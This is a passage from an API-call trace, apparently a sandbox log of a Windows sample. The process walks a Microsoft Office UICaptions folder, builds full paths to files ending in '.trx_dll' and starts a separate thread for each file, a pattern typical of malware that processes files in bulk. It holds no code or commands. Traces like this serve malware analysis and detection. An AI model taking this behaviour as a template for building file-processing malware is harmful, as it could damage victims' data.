lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa27f6800, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa27f6800, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0xc160, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.REST.trx_dll", cAlternateFileName="MOR6IN~1.TRX")) returned 1 [0150.655] wcscmp (_String1="MOR6INT.REST.trx_dll", _String2=".") returned 1 [0150.655] wcscmp (_String1="MOR6INT.REST.trx_dll", _String2="..") returned 1 [0150.655] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x12c75c08 [0150.655] wcscpy (in: _Dest=0x12c75c08, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.655] wcscat (in: _Dest=0x12c75c08, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.655] wcscat (in: _Dest=0x12c75c08, _Source="MOR6INT.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll" [0150.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c75c08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19d8 [0150.656] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f53ca00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9f53ca00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x17960, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.trx_dll", cAlternateFileName="MSOINT~1.TRX")) returned 1 [0150.656] wcscmp (_String1="MSOINTL.DLL.trx_dll", _String2=".") returned 1 [0150.656] wcscmp (_String1="MSOINTL.DLL.trx_dll", _String2="..") returned 1 [0150.656] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e8258 [0150.656] wcscpy (in: _Dest=0x8e8258, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.656] wcscat (in: _Dest=0x8e8258, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.656] wcscat (in: _Dest=0x8e8258, _Source="MSOINTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll" [0150.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8258, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19dc [0150.657] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f53ca00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9f53ca00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x2ced60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.trx_dll", cAlternateFileName="MSOINT~2.TRX")) returned 1 [0150.657] wcscmp (_String1="MSOINTL.REST.trx_dll", _String2=".") returned 1 [0150.657] wcscmp (_String1="MSOINTL.REST.trx_dll", _String2="..") returned 1 [0150.657] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x12c75ca0 [0150.657] wcscpy (in: _Dest=0x12c75ca0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.657] wcscat (in: _Dest=0x12c75ca0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.657] wcscat (in: _Dest=0x12c75ca0, _Source="MSOINTL.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll" [0150.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c75ca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19e0 [0150.658] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaa381000, ftCreationTime.dwHighDateTime=0x1cac7fb, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xaa381000, ftLastWriteTime.dwHighDateTime=0x1cac7fb, nFileSizeHigh=0x0, nFileSizeLow=0xb360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL.trx_dll", cAlternateFileName="OMSINT~1.TRX")) returned 1 [0150.658] wcscmp (_String1="OMSINTL.DLL.trx_dll", _String2=".") returned 1 [0150.658] wcscmp (_String1="OMSINTL.DLL.trx_dll", _String2="..") returned 1 [0150.658] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e7e68 [0150.658] wcscpy (in: _Dest=0x8e7e68, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.658] wcscat (in: _Dest=0x8e7e68, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.659] wcscat (in: _Dest=0x8e7e68, _Source="OMSINTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll" [0150.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7e68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19e4 [0150.660] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7337cc00, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7337cc00, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x7b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL.trx_dll", cAlternateFileName="ONINTL~1.TRX")) returned 1 [0150.660] wcscmp (_String1="ONINTL.DLL.trx_dll", _String2=".") returned 1 [0150.660] wcscmp (_String1="ONINTL.DLL.trx_dll", _String2="..") returned 1 [0150.660] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e6998 [0150.660] wcscpy (in: _Dest=0x8e6998, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.660] wcscat (in: _Dest=0x8e6998, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.660] wcscat (in: _Dest=0x8e6998, _Source="ONINTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll" [0150.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6998, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19e8 [0150.661] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7337cc00, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7337cc00, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x3fb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.REST.trx_dll", cAlternateFileName="ONINTL~2.TRX")) returned 1 [0150.661] wcscmp (_String1="ONINTL.REST.trx_dll", _String2=".") returned 1 [0150.661] wcscmp (_String1="ONINTL.REST.trx_dll", _String2="..") returned 1 [0150.661] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e7568 [0150.661] wcscpy (in: _Dest=0x8e7568, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.661] wcscat (in: _Dest=0x8e7568, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.661] wcscat (in: _Dest=0x8e7568, _Source="ONINTL.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll" [0150.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19ec [0150.662] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab87a00, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1ab87a00, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x37560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL.trx_dll", cAlternateFileName="OUTLLI~1.TRX")) returned 1 [0150.662] wcscmp (_String1="OUTLLIBR.DLL.trx_dll", _String2=".") returned 1 [0150.663] wcscmp (_String1="OUTLLIBR.DLL.trx_dll", _String2="..") returned 1 [0150.663] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x12c75d38 [0150.663] wcscpy (in: _Dest=0x12c75d38, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.663] wcscat (in: _Dest=0x12c75d38, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.663] wcscat (in: _Dest=0x12c75d38, _Source="OUTLLIBR.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll" [0150.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c75d38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19f0 [0150.664] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab87a00, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1ab87a00, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0xa6560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.REST.trx_dll", cAlternateFileName="OUTLLI~2.TRX")) returned 1 [0150.664] wcscmp (_String1="OUTLLIBR.REST.trx_dll", _String2=".") returned 1 [0150.664] wcscmp (_String1="OUTLLIBR.REST.trx_dll", _String2="..") returned 1 [0150.664] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c75dd0 [0150.664] wcscpy (in: _Dest=0x12c75dd0, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.664] wcscat (in: _Dest=0x12c75dd0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.664] wcscat (in: _Dest=0x12c75dd0, _Source="OUTLLIBR.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll" [0150.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c75dd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19f4 [0150.665] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x2b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL.trx_dll", cAlternateFileName="OUTLWV~1.TRX")) returned 1 [0150.665] wcscmp (_String1="OUTLWVW.DLL.trx_dll", _String2=".") returned 1 [0150.665] wcscmp (_String1="OUTLWVW.DLL.trx_dll", _String2="..") returned 1 [0150.665] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e8018 [0150.665] wcscpy (in: _Dest=0x8e8018, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.665] wcscat (in: _Dest=0x8e8018, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.665] wcscat (in: _Dest=0x8e8018, _Source="OUTLWVW.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll" [0150.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8018, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19f8 [0150.666] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cef6000, ftCreationTime.dwHighDateTime=0x1cac803, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7cef6000, ftLastWriteTime.dwHighDateTime=0x1cac803, nFileSizeHigh=0x0, nFileSizeLow=0xcd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL.trx_dll", cAlternateFileName="PPINTL~1.TRX")) returned 1 [0150.666] wcscmp (_String1="PPINTL.DLL.trx_dll", _String2=".") returned 1 [0150.666] wcscmp (_String1="PPINTL.DLL.trx_dll", _String2="..") returned 1 [0150.666] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7688 [0150.666] wcscpy (in: _Dest=0x8e7688, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.666] wcscat (in: _Dest=0x8e7688, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.666] wcscat (in: _Dest=0x8e7688, _Source="PPINTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll" [0150.666] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7688, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19fc [0150.667] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cef6000, ftCreationTime.dwHighDateTime=0x1cac803, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7cef6000, ftLastWriteTime.dwHighDateTime=0x1cac803, nFileSizeHigh=0x0, nFileSizeLow=0x45f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.REST.trx_dll", cAlternateFileName="PPINTL~2.TRX")) returned 1 [0150.667] wcscmp (_String1="PPINTL.REST.trx_dll", _String2=".") returned 1 [0150.667] wcscmp (_String1="PPINTL.REST.trx_dll", _String2="..") returned 1 [0150.667] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e7dd8 [0150.668] wcscpy (in: _Dest=0x8e7dd8, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.668] wcscat (in: _Dest=0x8e7dd8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.668] wcscat (in: _Dest=0x8e7dd8, _Source="PPINTL.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll" [0150.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7dd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a00 [0150.669] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa3b09500, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa3b09500, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x1a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL.trx_dll", cAlternateFileName="PUB6IN~1.TRX")) returned 1 [0150.669] wcscmp (_String1="PUB6INTL.DLL.trx_dll", _String2=".") returned 1 [0150.669] wcscmp (_String1="PUB6INTL.DLL.trx_dll", _String2="..") returned 1 [0150.669] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x12c75e68 [0150.669] wcscpy (in: _Dest=0x12c75e68, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.669] wcscat (in: _Dest=0x12c75e68, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.669] wcscat (in: _Dest=0x12c75e68, _Source="PUB6INTL.DLL.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll" [0150.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c75e68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a04 [0150.670] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa27f6800, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa27f6800, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x8e160, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.REST.trx_dll", cAlternateFileName="PUB6IN~2.TRX")) returned 1 [0150.670] wcscmp (_String1="PUB6INTL.REST.trx_dll", _String2=".") returned 1 [0150.670] wcscmp (_String1="PUB6INTL.REST.trx_dll", _String2="..") returned 1 [0150.670] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c75f00 [0150.670] wcscpy (in: _Dest=0x12c75f00, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.670] wcscat (in: _Dest=0x12c75f00, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.670] wcscat (in: _Dest=0x12c75f00, _Source="PUB6INTL.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll" [0150.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c75f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a08 [0150.671] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749d2200, ftCreationTime.dwHighDateTime=0x1cac80f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x749d2200, ftLastWriteTime.dwHighDateTime=0x1cac80f, nFileSizeHigh=0x0, nFileSizeLow=0x5ab60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWZINT.REST.trx_dll", cAlternateFileName="PUBWZI~1.TRX")) returned 1 [0150.671] wcscmp (_String1="PUBWZINT.REST.trx_dll", _String2=".") returned 1 [0150.671] wcscmp (_String1="PUBWZINT.REST.trx_dll", _String2="..") returned 1 [0150.671] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c75f98 [0150.671] wcscpy (in: _Dest=0x12c75f98, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.671] wcscat (in: _Dest=0x12c75f98, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.671] wcscat (in: _Dest=0x12c75f98, _Source="PUBWZINT.REST.trx_dll" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll" [0150.671] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c75f98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a0c [0150.672] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x905d00 | out: lpFindFileData=0x905d00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d7a1200, ftCreationTime.dwHighDateTime=0x1cac817, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6d7a1200, ftLastWriteTime.dwHighDateTime=0x1cac817, nFileSizeHigh=0x0, nFileSizeLow=0x3360, dwReserved0=0x0, dwReserved1=0x0, cFileName="SGRES.DLL.trx_dll", cAlternateFileName="SGRESD~1.TRX")) returned 1 [0150.672] wcscmp (_String1="SGRES.DLL.trx_dll", _String2=".") returned 1 [0150.672] wcscmp (_String1="SGRES.DLL.trx_dll", _String2="..") returned 1 [0150.672] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e8498 [0150.672] wcscpy (in: _Dest=0x8e8498, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.672] wcscat (in: _Dest=0x8e8498, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0150.673] wcscat (in: _Dest=0x8e8498, _Source="SGRES.DLL.trx_dll" | out: 